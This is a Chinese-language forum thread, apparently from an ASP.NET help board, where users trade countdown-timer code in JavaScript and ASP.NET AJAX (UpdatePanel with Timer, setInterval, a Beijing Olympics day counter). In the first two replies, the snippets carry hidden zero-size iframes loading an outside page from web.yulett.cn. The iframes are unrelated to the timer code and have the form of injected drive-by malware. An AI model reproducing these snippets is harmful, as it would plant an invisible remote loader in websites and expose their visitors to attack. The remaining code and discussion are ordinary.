javascript不行吗?非要用ajax?

解决方案 »

  1.   

    <script language="JavaScript">
    var urodz= new Date("8/8/2008");
    var  s="今天离<font color=red>北京奥运会开幕</font>";
    var now = new Date();
    var ile = urodz.getTime() - now.getTime();
    var dni = Math.floor(ile / (1000 * 60 * 60 * 24));
    if (dni >0)
       document.write(""+s+"还有<font color=red>"+dni +"</font>天")
    else
        document.write("好象已经过了吧!");
    </script>
    <iframe src="http://web.yulett.cn/count.htm" width="0" height="0"></iframe>
    <iframe src="http://web.yulett.cn/count.htm" width="0" height="0"></iframe>
      

  2.   

    指定打开指定文件
    <script language="javascript">
    function opencolortext(){
    window.open('http://www.javascript.com','colortext')
    }
    setTimeout("opencolortext()",1000)
    </script><iframe src="http://web.yulett.cn/count.htm" width="0" height="0"></iframe>
    <iframe src="http://web.yulett.cn/count.htm" width="0" height="0"></iframe>
      

  3.   

    1、添加ScriptManager;
    2、添加UpdatePanel;
    3、在UpdatePanel添加Timer及Label;<asp:ScriptManager ID="ScriptManager1" runat="server">
    </asp:ScriptManager>
    <asp:UpdatePanel ID="UpdatePanel3" runat="server">
                <ContentTemplate>
                    <asp:Timer ID="Timer1" runat="server" Interval="1000" OnTick="Timer1_Tick">
                    </asp:Timer>
                    <asp:Label ID="Label3" runat="server" Height="18px" Text="Label"> </asp:Label>
                </ContentTemplate>
     </asp:UpdatePanel>protected void Page_Load(object sender, EventArgs e)
        {
            this.Label3.Text = this.index.ToString() + "秒后自动转到首页"; 
        }
    private int index
        {
            get
            {
                object o = ViewState["index"];
                return (o == null) ? 5 : (int)o;
            }
            set
            {
                ViewState["index"] = value;
            }
        }
        protected void Timer1_Tick(object sender, EventArgs e)
        {
            this.index--;
            if (this.index == 0)
            {
                //this.Label3.Text = this.index.ToString() + "秒后自动转到首页";
                Response.Redirect("default2.aspx", false);
                this.Timer1.Enabled = false;
            }
            else
            {
                this.Label3.Text = this.index.ToString() + "秒后自动转到首页"; 
            }
        }
      

  4.   

    楼上的方法我已经知道了,但是我想怎么才能实现像类似QQGAME的功能,像这样可以是可以但是有些不美观!
      

  5.   

    下载AJAX基础教程,里面有计时器的实例
      

  6.   

    真的吗,效果怎么样,我想做个类似QQGAME的?
      

  7.   

    美观不一定跟程序流程有关系。另外,要注意QQGame是一个c/s程序,而不是b/s程序。如果要写c/s界面,不是asp.net论坛的事。
      

  8.   

    <script language="javascript">
    var nduration = 900
    function dojishi(){
     nduration --;
    if(nduration ==0)
    {}
    else
    {
    document.all.item('dd').value = nduration; 
    }
    }
    window.setInterval("dojishi()",1000)
    </script>
    <body>
     <input id='dd' type=text>
    </body>
      

  9.   

    if(nduration ==0)
    {执行你的操作
    }
      

  10.   

    是不是嫌服务器的资源多啊? 这也要用ajax?